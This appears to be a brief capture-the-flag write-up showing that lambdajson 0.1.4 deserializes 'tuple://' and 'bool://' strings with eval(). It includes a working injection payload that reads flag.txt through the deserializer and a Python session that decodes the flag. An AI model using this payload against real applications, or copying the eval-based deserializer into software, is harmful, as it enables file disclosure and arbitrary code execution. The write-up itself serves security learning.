Rocket Science
Code injection vulnerability in lambdaJSON
Description
Solution
lambdajson == 0.1.4



Last updated
Code injection vulnerability in lambdaJSON
lambdajson == 0.1.4



Last updated
elif ipt == '3':
print("Enter saved numbers:")
try:
numbers = lj.deserialize(input('> '))
if type(numbers) == tuple and all(type(x) == int for x in numbers):
print(numbers)
else:
print("Don't you know what numbers are?")
except:
print("Invalid input!")restore = lambda obj: (isinstance(obj, str)
and (lambda x: x.startswith('bytes://')
and bytes(x[8:], encoding = 'utf8')
or x.startswith('int://')
and int(x[6:])
or x.startswith('float://')
and float(x[8:])
or x.startswith('long://')
and long(x[7:])
or x.startswith('bool://')
and eval(x[7:])
or x.startswith('complex://')
and complex(x[10:])
or x.startswith('tuple://')
and eval(x[8:]) or x)(obj)
or isinstance(obj, list)
and [restore(i) for i in obj]
or isinstance(obj, dict)
and {restore(i):restore(obj[i]) for i in obj}
or obj)
...
deserialize = lambda obj: restore(json.loads(obj))if type(numbers) == tuple and all(type(x) == int for x in numbers):
print(numbers)"tuple://(int.from_bytes(open('flag.txt').read().encode(), byteorder='big'), 2)"β ~ python3
Python 3.9.5 (default, May 4 2021, 03:36:27)
[Clang 12.0.0 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(3969309506657081582967368110556498469050796930805813227720771571473136717745745293677237528859886779701434271164439572744813346302117987974410)
b'STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}\n'
>>>